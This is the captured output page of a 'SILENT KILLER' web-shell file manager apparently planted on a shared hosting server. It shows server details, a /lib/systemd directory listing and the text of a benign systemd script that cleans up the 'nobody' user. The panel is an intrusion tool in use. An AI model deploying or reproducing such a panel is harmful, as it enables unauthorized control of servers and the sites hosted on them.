SILENT KILLERPanel

Current Path: > > lib > > systemd >


Operation   : Linux premium131.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
Software     : Apache
Server IP    : 162.0.232.56 | Your IP: 216.73.216.111
Domains      : 1034 Domain(s)
Permission   : [ 0755 ]

Files and Folders in: //lib//systemd/


Warning: filesize(): stat failed for //lib//systemd//systemd-sysv-install in /home/codekrsu/techflix.lk/cmd2.php on line 136

Warning: filemtime(): stat failed for //lib//systemd//systemd-sysv-install in /home/codekrsu/techflix.lk/cmd2.php on line 137
NameTypeSizeLast ModifiedActions
boot Directory - -
catalog Directory - -
network Directory - -
ntp-units.d Directory - -
portable Directory - -
system Directory - -
system-generators Directory - -
system-preset Directory - -
system-shutdown Directory - -
system-sleep Directory - -
user Directory - -
user-environment-generators Directory - -
user-generators Directory - -
user-preset Directory - -
libsystemd-shared-239.so File 2761272 bytes April 22 2025 01:58:57.
portablectl File 37888 bytes April 22 2025 01:58:57.
purge-nobody-user File 2351 bytes April 22 2025 01:58:47.
resolv.conf File 678 bytes June 22 2018 11:11:49.
systemd File 1609536 bytes April 22 2025 01:58:57.
systemd-ac-power File 12160 bytes April 22 2025 01:58:57.
systemd-backlight File 25336 bytes April 22 2025 01:58:57.
systemd-binfmt File 17096 bytes April 22 2025 01:58:57.
systemd-cgroups-agent File 12296 bytes April 22 2025 01:58:57.
systemd-coredump File 62640 bytes April 22 2025 01:58:57.
systemd-cryptsetup File 29432 bytes April 22 2025 01:58:57.
systemd-dissect File 16408 bytes April 22 2025 01:58:57.
systemd-export File 42168 bytes April 22 2025 01:58:57.
systemd-fsck File 25328 bytes April 22 2025 01:58:57.
systemd-growfs File 20920 bytes April 22 2025 01:58:57.
systemd-hibernate-resume File 12296 bytes April 22 2025 01:58:57.
systemd-hostnamed File 29608 bytes April 22 2025 01:58:57.
systemd-initctl File 20928 bytes April 22 2025 01:58:57.
systemd-journald File 158120 bytes April 22 2025 01:58:57.
systemd-localed File 50360 bytes April 22 2025 01:58:57.
systemd-logind File 271680 bytes April 22 2025 01:58:57.
systemd-makefs File 12712 bytes April 22 2025 01:58:57.
systemd-modules-load File 20912 bytes April 22 2025 01:58:56.
systemd-portabled File 92072 bytes April 22 2025 01:58:57.
systemd-pstore File 21384 bytes April 22 2025 01:58:57.
systemd-quotacheck File 12584 bytes April 22 2025 01:58:57.
systemd-random-seed File 16392 bytes April 22 2025 01:58:57.
systemd-remount-fs File 25128 bytes April 22 2025 01:58:56.
systemd-reply-password File 12288 bytes April 22 2025 01:58:57.
systemd-resolved File 463624 bytes April 22 2025 01:58:57.
systemd-rfkill File 25328 bytes April 22 2025 01:58:57.
systemd-shutdown File 62664 bytes April 22 2025 01:58:57.
systemd-sleep File 21264 bytes April 22 2025 01:58:57.
systemd-socket-proxyd File 25144 bytes April 22 2025 01:58:57.
systemd-sulogin-shell File 16400 bytes April 22 2025 01:58:57.
systemd-sysctl File 21272 bytes April 22 2025 01:58:57.
systemd-sysv-install File bytes January 01 1970 00:00:00.
systemd-timedated File 37840 bytes April 22 2025 01:58:57.
systemd-udevd File 418360 bytes April 22 2025 01:58:57.
systemd-update-done File 12728 bytes April 22 2025 01:58:57.
systemd-update-utmp File 16400 bytes April 22 2025 01:58:57.
systemd-user-runtime-dir File 250984 bytes April 22 2025 01:58:57.
systemd-user-sessions File 12144 bytes April 22 2025 01:58:57.
systemd-vconsole-setup File 20952 bytes April 22 2025 01:58:57.
systemd-veritysetup File 12296 bytes April 22 2025 01:58:57.
systemd-volatile-root File 12296 bytes April 22 2025 01:58:57.

Reading File: //lib//systemd//purge-nobody-user

#!/bin/bash -eu

if [ $UID -ne 0 ]; then
    echo "WARNING: This script needs to run as root to be effective"
    exit 1
fi

export SYSTEMD_NSS_BYPASS_SYNTHETIC=1

if [ "${1:-}" = "--ignore-journal" ]; then
    shift
    ignore_journal=1
else
    ignore_journal=0
fi

echo "Checking processes..."
if ps h -u 99 | grep .; then
    echo "ERROR: ps reports processes with UID 99!"
    exit 2
fi
echo "... not found"

echo "Checking UTMP..."
if w -h 199 | grep . ; then
    echo "ERROR: w reports UID 99 as active!"
    exit 2
fi
if w -h nobody | grep . ; then
    echo "ERROR: w reports user nobody as active!"
    exit 2
fi
echo "... not found"

echo "Checking the journal..."
if [ "$ignore_journal" = 0 ] && journalctl -q -b -n10 _UID=99 | grep . ; then
    echo "ERROR: journalctl reports messages from UID 99 in current boot!"
    exit 2
fi
echo "... not found"

echo "Looking for files in /etc, /run, /tmp, and /var..."
if find /etc /run /tmp /var -uid 99 -print | grep -m 10 . ; then
    echo "ERROR: found files belonging to UID 99"
    exit 2
fi
echo "... not found"

echo "Checking if nobody is defined correctly..."
if getent passwd nobody |
	grep '^nobody:[x*]:65534:65534:.*:/:/sbin/nologin';
then
    echo "OK, nothing to do."
    exit 0
else
    echo "NOTICE: User nobody is not defined correctly"
fi

echo "Checking if nfsnobody or something else is using the uid..."
if getent passwd 65534 | grep . ; then
    echo "NOTICE: will have to remove this user"
else
    echo "... not found"
fi

if [ "${1:-}" = "-x" ]; then
    if getent passwd nobody >/dev/null; then
	# this will remove both the user and the group.
	( set -x
   	  userdel nobody
	)
    fi

    if getent passwd 65534 >/dev/null; then
	# Make sure the uid is unused. This should free gid too.
	name="$(getent passwd 65534 | cut -d: -f1)"
	( set -x
	  userdel "$name"
	)
    fi

    if grep -qE '^(passwd|group):.*\bsss\b' /etc/nsswitch.conf; then
	echo "Sleeping, so sss can catch up"
	sleep 3
    fi

    if getent group 65534; then
	# Make sure the gid is unused, even if uid wasn't.
	name="$(getent group 65534 | cut -d: -f1)"
	( set -x
	  groupdel "$name"
	)
    fi

    # systemd-sysusers uses the same gid and uid
    ( set -x
      systemd-sysusers --inline 'u nobody 65534 "Kernel Overflow User" / /sbin/nologin'
    )
else
    echo "Pass '-x' to perform changes"
fi

SILENT KILLER Tool